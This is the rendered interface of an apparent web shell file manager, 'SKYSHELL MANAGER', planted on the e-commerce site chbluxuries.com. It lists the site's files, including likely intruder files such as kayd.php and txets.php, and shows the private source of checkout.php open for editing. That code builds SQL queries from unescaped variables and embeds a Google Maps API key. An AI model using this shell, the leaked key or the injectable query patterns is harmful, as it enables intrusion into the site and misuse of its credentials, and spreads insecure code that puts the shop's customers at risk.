📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
junk
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
junk
-
0755
🗑️
🔒
📄
wishlist.js
0.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
pryfilter.php
1.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
product.php
28.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
product_addquantity.php
4.21 KB
0644
🗑️
⬇️
✏️
🔒
📄
productdetails.php
3.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
products.php
2.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo.php
2.29 KB
0644
🗑️
⬇️
✏️
🔒
📄
promo_cart.php
1.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
promodisplay.php
1.17 KB
0644
🗑️
⬇️
✏️
🔒
📄
pry_display.php
4.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
rate.php
0.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
privacy_policy.html
8.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
rates.php
3.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
realtimecheck.php
5.69 KB
0644
🗑️
⬇️
✏️
🔒
📄
register.php
8.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
related.php
5.44 KB
0644
🗑️
⬇️
✏️
🔒
📄
removehomedelivery.php
0.79 KB
0644
🗑️
⬇️
✏️
🔒
📄
resendbank.php
5.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
retail_thankyou.php
1.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
savenote.php
0.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
product.css
2.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
printmail.php
3.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
search.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
new_products.php
4.41 KB
0644
🗑️
⬇️
✏️
🔒
📄
kayd.php
0.02 KB
0644
🗑️
⬇️
✏️
🔒
📄
login.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
logistics.JPG
68.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
lou-multi-select-0.9.10-53-g57fb8d3.zip
77.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
maintainance.php
1.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
markcart.php
0.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
menu.php
1.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
new.png
2.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
newfilter.php
1.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
php.ini
0.69 KB
0644
🗑️
⬇️
✏️
🔒
📄
newproducts.php
2.73 KB
0644
🗑️
⬇️
✏️
🔒
📄
option.php
1.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
orderstatus.php
12.59 KB
0644
🗑️
⬇️
✏️
🔒
📄
paid.php
19.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
paychb.php
7.23 KB
0644
🗑️
⬇️
✏️
🔒
📄
paydeposit.php
6.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
payinvoice.php
0.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
paywithbank.php
6.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
paywithwallet.php
19.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
savetransaction.php
5.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_auto.php
1.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
wholesuccess.php
0.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-filter.php
1.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
tester.php
32.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
txets.php
6.04 KB
0444
🗑️
⬇️
✏️
🔒
📄
update.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
upgrade.php
3.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
users.zip
50013.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
v.20.zip
49666.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
verifymail.php
4.01 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-display.php
4.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
view-products.php
1.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
suggestion.php
16.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory.php
1 KB
0644
🗑️
⬇️
✏️
🔒
📄
viewhistory_display.php
4.88 KB
0644
🗑️
⬇️
✏️
🔒
📄
wallet.php
3.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit.php
11.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
walletdeposit_thankyou.php
1.36 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_apply.php
5.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_pay.php
3.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
whole_thankyou.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
wholepaid.php
4.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
terms.php
15.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
suggest.php
6.4 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_history.php
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar_delete.php
0.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist.php
0.98 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_result.php
4.82 KB
0644
🗑️
⬇️
✏️
🔒
📄
searchs.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectitem.js
4.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
selectpreorder.js
2 KB
0644
🗑️
⬇️
✏️
🔒
📄
setaddress.php
0.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
shippingfee.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar.php
4.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
sidebar_update.php
5.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
success.php
0.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
signin.php
6.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
signup.php
2.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
startchat.php
1.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
stock.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
stock_checker.php
0 KB
0644
🗑️
⬇️
✏️
🔒
📄
sub_products.php
5.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory.php
1.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategory_display.php
1.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
subcategorys.php
0.14 KB
0644
🗑️
⬇️
✏️
🔒
📄
search_page.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
invoices.php
5.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
invoice.php
10.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
cartcount.php
0.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands_display.php
4.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.css
4.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
card.js
0.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit.php
8.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
carddeposit_thankyou.php
1.28 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart.js
14.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart.php
25.78 KB
0644
🗑️
⬇️
✏️
🔒
📄
cart_items.php
13.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
categories.css
0.32 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands.php
1.19 KB
0644
🗑️
⬇️
✏️
🔒
📄
categories.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
category_display.php
2.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
chat.js
1.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
chat.php
12.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
checker.php
0.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
checkout.php
28.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
child.php
0.39 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_categories.php
1.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_display.php
4.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
brands_categories.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
brandfilter.php
1.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
childfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts_popup.php
2.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
.htaccess
1.99 KB
0444
🗑️
⬇️
✏️
🔒
📄
.user.ini
0.62 KB
0644
🗑️
⬇️
✏️
🔒
📄
CHB LUXURIES PRIVACY POLICY.pdf
169.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
actions.php
4.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
addcart.php
6.51 KB
0644
🗑️
⬇️
✏️
🔒
📄
addpreorder.php
4.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
addwishlist.php
1.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
adverts.php
0.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
all.js
0.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
brand.php
0.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproduct.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproducts.php
1.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
allproductsfilter.php
1.12 KB
0644
🗑️
⬇️
✏️
🔒
📄
apply.php
2.71 KB
0644
🗑️
⬇️
✏️
🔒
📄
apply_form.php
3.66 KB
0644
🗑️
⬇️
✏️
🔒
📄
autocart.js
5.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
autocart.php
7.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
bank_thankyou.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
bankdeposit.php
3.81 KB
0644
🗑️
⬇️
✏️
🔒
📄
child_products.php
1.26 KB
0644
🗑️
⬇️
✏️
🔒
📄
comments.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
godid.php
2.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
filter.php
1.86 KB
0644
🗑️
⬇️
✏️
🔒
📄
flashpromo.php
4.37 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer.php
5.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
footer1.php
7.15 KB
0644
🗑️
⬇️
✏️
🔒
📄
forget.php
2.55 KB
0644
🗑️
⬇️
✏️
🔒
📄
forgetpassword.php
1.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
fundwallet.php
2.1 KB
0644
🗑️
⬇️
✏️
🔒
📄
getalltotal.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
google12d9a33e3a12aac1.html
0.05 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchprototal.php
0.35 KB
0644
🗑️
⬇️
✏️
🔒
📄
header1.php
29.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
history.php
5.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
history_items.php
3.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
homedelivery.php
0.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
hot_products.php
4.03 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotfilter.php
0.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotoffers.php
11.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
hotproducts.php
0.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
how-to-order.php
1.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchtotal.php
3.45 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchgrams.php
0.46 KB
0644
🗑️
⬇️
✏️
🔒
📄
compare_display.php
4.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
deliveryfee.php
3.75 KB
0644
🗑️
⬇️
✏️
🔒
📄
comparefilter.php
1.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaint.php
0.85 KB
0644
🗑️
⬇️
✏️
🔒
📄
complaints.php
1.94 KB
0644
🗑️
⬇️
✏️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
connect_to_mysqli.php
0.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
contact.php
1.52 KB
0644
🗑️
⬇️
✏️
🔒
📄
core.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
deductgiftcard.php
2.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
deletedata.php
0.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
demo.js
1.74 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchcount.php
0.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
detail.php
0.13 KB
0644
🗑️
⬇️
✏️
🔒
📄
display.php
4.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
displayfilter.php
1.23 KB
0644
🗑️
⬇️
✏️
🔒
📄
error_log
5105337.58 KB
0644
🗑️
⬇️
✏️
🔒
📄
fastpromo.php
3.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
feepaid.php
10.54 KB
0644
🗑️
⬇️
✏️
🔒
📄
feesuccess.php
0.9 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchamount.php
1.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
fetchchat.php
2.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
wishlist_display.php
4.8 KB
0644
🗑️
⬇️
✏️
🔒
Editing: checkout.php
<?php include "header.php"; include "savetransaction.php"; //delete selected items $del= mysqli_query($con,"DELETE from stock_orders where status='selected'") or die ('Could not connect: ' .mysqli_error($con)); //update if logged in if($active_log=="1"){ $insert = mysqli_query($con,"UPDATE orders SET staff ='$user_name' where orderid='$godid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET email ='$user_email' where orderid='$godid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET payment ='online' where orderid='$godid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE orders SET number ='$user_phone' where orderid='$godid'") or die ('Could not connect: ' .mysqli_error($con));} //total and delivery $sql = "SELECT * from orders WHERE orderid='$godid'"; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)){ $total_all=$row['total_amount']; $order_type=$row['type']; $order_state=$row['delivery_state']; $total_delivery=$row['deliveryfee']; $homeaddress=$row['home_address']; $notes=$row['notes']; $customername=$row['staff']; $customerphone=$row['number']; $customermail=$row['email']; $homedelivery=$row['home_delivery']; $deliverytown=$row['delivery_town']; $deliverystreet=$row['delivery_street']; $deliverysuite=$row['delivery_suite'];} $total_kg=0; $sql = "SELECT SUM(stocks.weigh) FROM stock_orders JOIN stocks ON stocks.id = stock_orders.stockid WHERE stock_orders.orderid = '$godid' AND stock_orders.status = 'no'"; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) $total_kg=$row[0]; if($total_kg==''){$total_kg=10;} //total amount of all items $total_price=0; $sql = "SELECT sum(price) from stock_orders where orderid='$godid' && status='no' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) $total_price=$row[0]; if($total_price==''){$total_price=0;} if($total_price <= 0){ header("location: cart.php"); } if ($_SERVER['REQUEST_METHOD'] === 'GET') { // This code will only run when the page is initially loaded (refreshed) to delete giftcard additions $del = mysqli_query($conn, "DELETE from giftcard_history where orderid='$godid' AND status='processing'") or die('Could not connect: ' . mysqli_error($conn)); } //remove discounts $checkEmail = mysqli_query($con, "SELECT * FROM discount_orders WHERE orderid='$godid'"); if(mysqli_num_rows($checkEmail) <= 0 ) {$del = mysqli_query($con, "DELETE from discount_orders where orderid='$godid'") or die('Could not connect: ' . mysqli_error($conn)); } // DISCOUNT APPLICATION //if($user_discount > 0 && $user_verify=="no"){ //$discount = $total_price * ($user_discount / 100); //$total_price= $total_price - $discount; //$checkEmail = mysqli_query($con, "SELECT * FROM discount_orders WHERE orderid='$godid' AND discount='$user_discount'"); //if(mysqli_num_rows($checkEmail) <= 0 ) { //$submit = mysqli_query($con, "INSERT INTO discount_orders (`orderid`,`discount`) VALUES ('$godid','$user_discount')") or die('Could not connect: ' . mysqli_error($con)); //$del = mysqli_query($con, "DELETE from discount_orders where orderid='$godid' AND discount!='$user_discount'") or die('Could not connect: ' . mysqli_error($conn)); //}} $total_all=$total_price+$total_delivery; $insert = mysqli_query($con,"UPDATE orders SET total_amount ='$total_all' where orderid='$godid'") or die ('Could not connect: ' .mysqli_error($con)); include "paychb.php"; ?> <script src="https://code.jquery.com/jquery-3.6.0.min.js" crossorigin="anonymous"></script> <script type="text/javascript" src="https://code.jquery.com/jquery-1.9.1.js"></script> <script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script> <script type="text/javascript" src="cart.js"></script> <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD6MS4bUOjkP0fYUklsVzIKYmGmb_MheGQ&callback=initAutocomplete&libraries=places&v=weekly" async ></script> <!-- Page Header Start --> <div class="container-fluid bg-secondary mb-5"> <div class="d-flex flex-column align-items-center justify-content-center" style="min-height: 200px; padding:0; margin:0;"> <h1 class="font-weight-semi-bold text-uppercase mb-3">CHECKOUT PAGE</h1> <div class="d-inline-flex"> <p class="m-0"><?php echo $homepage; ?></p> <p class="m-0 px-2">-</p> <p class="m-0">Checkout Details</p> </div> </div> </div> <!-- Page Header End --> <style> h5{ color:black;} </style> <!-- Products Start --> <div class="container-fluid pt-5"> <div class="row px-xl-5 pb-3 justify-content-center"> <div class="col-12" align="center"><p><i class="fas fa-truck" style="color:black; font-size:32px;"></i></p> <p class="text-small text-primary" >NB: kindly note that outside Lagos delivery dispatched using GIG logistics takes a period of 2-5days, When the goods is available for pickup a message when be sent to you via gig which contains a pick up code which will be presented at their office for pick up</p> </div> <!-- Checkout Start --> <div class="container-fluid pt-5"> <div class="row px-xl-5"> <div class="col-lg-8"> <div class="mb-4"> <form method="post"> <h4 class="font-weight-semi-bold mb-4 text-dark">Billing Address</h4> <div class="row"> <div class="col-md-6 form-group"> <label>Customer Name</label> <input class="form-control" name="customername" type="text" placeholder="Name" value="<?php echo $customername;?>" required readonly> </div> <div class="col-md-6 form-group"> <label>E-mail</label> <input class="form-control" name="customeremail" type="text" placeholder="Email address goes here" value="<?php echo $customermail;?>" required readonly> </div> <div class="col-md-12 form-group"> <label>Mobile No</label> <input class="form-control" name="customerphone" type="tel" placeholder="Mobile number goes here.." value="<?php echo $customerphone;?>" required readonly> </div> <div class="col-md-12 form-group"> <label>Additional Note *</label> <textarea class="form-control" name="customernote" type="text" readonly><?php echo $notes; ?></textarea> <input class="form-control showTotalhere" id="realamount" name="customeramount" type="number" value="<?php echo $total_all;?>" required hidden> </div> </div> </div> <div class="mb-4" id="shipping-address"> <h4 class="font-weight-semi-bold mb-4 text-dark">Shipping Details</h4> <div class="row"> <div class="col-md-12 form-group"> <input type="text" value="<?php echo $total_kg;?>" id="grams" style="display:none;" /> <select class="form-control" name="ship_type" id="ship_type" required disabled> <option value="" <?php if (empty($order_type)) echo 'selected'; ?>>- Shipping Type -</option> <option value="pickup" <?php if ($order_type == 'pickup') echo 'selected'; ?>>Pickup at Store</option> <option value="within lagos" <?php if ($order_type == 'within lagos') echo 'selected'; ?>>Delivery (Within Lagos)</option> <option value="deliver" <?php if ($order_type == 'deliver') echo 'selected'; ?>>Delivery(Other States)</option> <option value="abroad-delivery" <?php if ($order_type == 'abroad-delivery') {echo 'selected'; } ?>>Delivery(Outside Nigeria)</option> </select> </div> <div class="col-md-12 form-group"> <div align="right"> <!-- Content to show when 'Pickup at Store' is selected --> <div id="pickup_details" style="display: none;"> <p class="text-dark">Address: 19 Olowu St, Opebi 101233, Ikeja, Lagos<br> Phone: <a href="tel:09025572552" class="text-primary">09025572552</a><br> Pickup Code: <span class="text-primary"><?php echo $godid; ?></span> </p> </div> <div id="lagos_details" style="display: none;"> <p><input type="text" id="map_input" name="pad" value="<?php if ($order_type == 'within lagos') echo $order_state; ?>" class="form-control" placeholder="Type in your address...." disabled/> <div id="map"></div></p> </div> <!-- Content to show when 'Deliver To Me' is selected --> <div id="delivery_details" style="display: none;"> <p><select name="state" id="stateSelect" class="form-control" required disabled> <option value="">- Select Delivery State -</option> <option value="Abia">Abia</option> <option value="Adamawa">Adamawa</option> <option value="Akwa Ibom">Akwa Ibom</option> <option value="Anambra">Anambra</option> <option value="Bauchi">Bauchi</option> <option value="Bayelsa">Bayelsa</option> <option value="Benue">Benue</option> <option value="Borno">Borno</option> <option value="Cross River">Cross River</option> <option value="Delta">Delta</option> <option value="Ebonyi">Ebonyi</option> <option value="Edo">Edo</option> <option value="Ekiti">Ekiti</option> <option value="Enugu">Enugu</option> <option value="Abuja">Abuja</option> <option value="Gombe">Gombe</option> <option value="Imo">Imo</option> <option value="Jigawa">Jigawa</option> <option value="Kaduna">Kaduna</option> <option value="Kano">Kano</option> <option value="Katsina">Katsina</option> <option value="Kebbi">Kebbi</option> <option value="Kogi">Kogi</option> <option value="Kwara">Kwara</option> <option value="Lagos">Lagos</option> <option value="Nasarawa">Nasarawa</option> <option value="Niger">Niger</option> <option value="Ogun">Ogun</option> <option value="Ondo">Ondo</option> <option value="Osun">Osun</option> <option value="Oyo">Oyo</option> <option value="Plateau">Plateau</option> <option value="Rivers">Rivers</option> <option value="Sokoto">Sokoto</option> <option value="Taraba">Taraba</option> <option value="Yobe">Yobe</option> <option value="Zamfara">Zamfara</option> </select> </p> <p><label class="text-dark" style="float:left;">Town/City*</label><input type="text" id="city" class="form-control" value="<?php echo $deliverytown; ?>" placeholder="" style="font-size:14px;" readonly></p> <p><label class="text-dark" style="float:left;">Street Address*</label><input type="text" value="<?php echo $deliverystreet; ?>" id="streetaddress" placeholder="Type in your appropiate home address,including street and home no" class="form-control" value="<?php echo $deliveryaddress; ?>" style="font-size:14px;" readonly></p> <p><input type="text" id="suite" class="form-control" value="<?php echo $deliverysuite; ?>" placeholder='Apartment,suite,unit(Optional)' style="font-size:14px;" readonly></p> <p class="text-bold form-group text-primary"> <input type="checkbox" id="homedelivery" onclick="toggleDeliveryAddress()" disabled <?php if ($homedelivery > 0) echo "checked"; ?> /> <label for="homedelivery">Doorstep Delivery (additional ₦1500)</label> </p> <div id="home_delivery" style="display: none;"> <p><input type="text" id="home_address" name="pad" value="<?php echo $homeaddress; ?>" class="form-control" placeholder="Type in your address...." readonly/> <div id="map"></div></p></div> <script> function toggleDeliveryAddress() { var deliveryCheckbox = document.getElementById("homedelivery"); var homeDeliveryDiv = document.getElementById("home_delivery"); if (deliveryCheckbox.checked) { homeDeliveryDiv.style.display = "block"; } else { homeDeliveryDiv.style.display = "none"; } } // Call the toggleDeliveryAddress() function once the page loads $(document).ready(function() { toggleDeliveryAddress(); }); </script> </div> </div> <script> $(document).ready(function() { // Get the order_state and order_type values var orderState = "<?php echo $order_state; ?>"; var orderType = "<?php echo $order_type; ?>"; //within lagos if (orderType === 'within lagos') { var selectedAddress = orderState; var godid = $('#orderid').val(); var grams = $('#grams').val(); console.log(selectedAddress); console.log(godid); console.log(grams); $.ajax({ url: 'fetchtotal.php', method: 'POST', data: { lagos: selectedAddress, godid: godid, grams: grams }, success: function(data) { // Display the fetched data in the result container $('#total_price').html(data); }, error: function(xhr, status, error) { // Handle error if the request fails console.log(selectedAddress); } }); } else if (orderType === 'deliver') { if (orderState === "" || $("#stateSelect option[value='" + orderState + "']").length === 0) { $("#stateSelect").val(""); $("#stateSelect option[value='']").prop("selected", true); } else { $("#stateSelect option").filter(function() { return $(this).val() === orderState; }).prop("selected", true); } } }); </script> </div> <p><a href="cart.php#shipper" class="btn btn-primary text-light">Need to Update Shipping Details?Click</a></p> </div> </div> </div> <div class="col-lg-4"> <div class="card border-secondary mb-5"> <div class="card-header bg-secondary border-0"> <h4 class="font-weight-semi-bold m-0">Order Total</h4> </div> <div class="card-body"> <h5 class="mb-3">Products</h5> <?php $sql = "SELECT * from stock_orders WHERE orderid='$godid' && status='no' ORDER BY s ASC"; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)){ $varse=$row['color']; $itemname=$row['name']; $retail=$row['price']; //get variation name $sqv = "SELECT * from variation WHERE s='$varse' "; $sq2v = mysqli_query($con,$sqv); while($roe = mysqli_fetch_array($sq2v)) { $varid=$roe['s']; $color=$roe['color']; $shop=$roe['shop']; //no variation if($color=="null"){ $color=""; } else{ $color='('.$color.')'; }} echo'<div class="d-flex justify-content-between" style="font-size:13px;"> <p>'.$itemname.' '.$color.'</p> <p>₦'.$retail.'</p> </div>'; }?> <hr class="mt-0"> <div class="d-flex justify-content-between mb-3 pt-1 "> <h6 class="font-weight-medium text-dark">Subtotal</h6> <h6 class="font-weight-medium text-dark">₦<?php echo $total_price;?> <?php if ($user_discount >0){ ?> <br><span style="font-weight:600; font-size:11px; margin-top:-15px;" class="text-primary"><?php echo $user_discount;?>% discount off</span> <?php } ?></h6> </div> <div class="d-flex justify-content-between"> <h6 class="font-weight-medium text-dark">Shipping</h6> <h6 class="font-weight-medium text-dark">₦<?php echo $total_delivery;?></h6> </div> </div> <div class="card-footer border-secondary bg-transparent"> <div class="d-flex justify-content-between mt-2"> <h5 class="font-weight-bold">Total</h5> <h5 class="font-weight-bold">₦<span class="showTotalheretext"><?php echo $total_all;?></span></h5> </div> </div> </div> <div class="card border-secondary mb-5"> <div class="card-header bg-secondary border-0"> <h4 class="m-0">Payment Type</h4> </div> <div class="card-body"> <div class="form-group"> <div class="custom-control custom-radio"> <input type="radio" value="full" class="custom-control-input" name="paytype" id="fullpay" <?php if ($user_verify=="yes"){ echo "checked "; echo "disabled"; }?> required> <label class="custom-control-label" for="fullpay">Full Payment</label> </div> </div> <?php if ($user_verify=="no"){ ?> <div class="form-group"> <div class="custom-control custom-radio"> <input type="radio" value="deposit" class="custom-control-input" name="paytype" id="stockpile" required> <label class="custom-control-label" for="stockpile">Deposit(Stockpile)</label> </div> </div> <div class="form-group" id="stockpileField" style="display: none;"> <label for="stockpileAmount">Enter Deposit Amount:</label> <input type="number" placeholder="Enter Any Deposit Amount ,min(1000)" min="1000" max="<?php echo $total_all; ?>" class="form-control" id="stockpileAmount" name="stockpileamount"> </div> <?php } ?> </div> <div class="card-header bg-secondary border-0"> <h4 class="m-0">Payment Method</h4> </div> <div class="card-body"> <div class="form-group" style="display:none;" id="showgiftcard"> <div class="custom-control custom-radio"> <input type="radio" value="giftcard" class="custom-control-input" id="giftcard"> <label class="custom-control-label" for="giftcard">CHB Giftcard</label> </div><br> <div class="form-group" id="giftfield" style="display: none;"> <input type="text" placeholder="Enter Giftcard Serial No" class="form-control" id="giftcardno"> <p><button type="submit" name="addcoupon" id="addcoupon" class="btn btn-sm btn-block btn-primary my-3 py-1 text-light">Apply Giftcard</button></p> </div></div> <input type="text" id="applied" name="applied" hidden /> <p class="topay font-weight-medium text-dark" style="display:none;">Amount Left To Pay <span style="float:right;">₦<span id="amounttopay"></span>.00</span></td> <?php if ($user_verify=="no" || $user_verify ==""){ ?> <div class="form-group"> <div class="custom-control custom-radio"> <input type="radio" value="transfer" class="custom-control-input" name="payment" id="directcheck" required> <label class="custom-control-label" for="directcheck">Direct Bank Transfer To Company <span class="text-primary" style="font-size:12px;">(Recommended)</span></label> </div> </div> <div class="form-group"> <div class="custom-control custom-radio"> <input type="radio" value="card" class="custom-control-input" name="payment" id="paypal" required> <label class="custom-control-label" for="paypal">Flutterwave</label> </div> </div> <?php } if ($user_verify=="yes"){ $w_disable=""; $w_note=""; if($wallet < $total_all){ $w_disable="disabled"; $w_note="<span class='font-weight:600; font-size:11px; margin-top:-15px;'>Insufficent funds in wallet!<a href='wallet.php'><u>Click here to fund wallet</u></a></span>"; } ?> <div class="form-group"> <div class="custom-control custom-radio"> <input type="radio" value="wallet" class="custom-control-input" name="payment" id="directcheck" <?php echo $w_disable; ?> required> <label class="custom-control-label" for="directcheck">Wallet</label> </div> </div> <?php echo $w_note; ?> <?php }?> </div> <div class="card-footer border-secondary bg-transparent"> <button type="submit" name="subpay" class="btn btn-lg btn-block btn-primary font-weight-bold my-3 py-3 text-light">Place Order</button> </form> <p><form method="post" action="" onsubmit="return confirm('Are you sure you want to forward this order to the company for further processing?');" > <button type="submit" name="forwardorder" class="btn btn-lg btn-block btn-danger my-3 py-3 text-light">Forward Order</button> </form></p> </div> </div> </div> </div> </div> <!-- Checkout End --> <div></div></div> <!-- Products End --> <script> $(document).ready(function() { $('#addcoupon').click(function() { var giftcardValue = $('#giftcardno').val(); var orderValue = $('#orderid').val(); $("#addcoupon").attr("disabled", "disabled"); const myModal = new bootstrap.Modal(document.getElementById('giftModal')); // Show the modal $.ajax({ url: 'deductgiftcard.php', type: 'POST', data: { giftcard: giftcardValue, orderno: orderValue}, success: function(response) { if (response === 'success') { alert('Payment has been initiated and is being processed.'); window.location.href = 'https://chbluxuries.com/success?status=completed&tx_ref=<?php echo $godid; ?>'; }else if (response === 'half-success') { checkGift(); }else if (response === 'used') { myModal.show(); }else { alert(response); 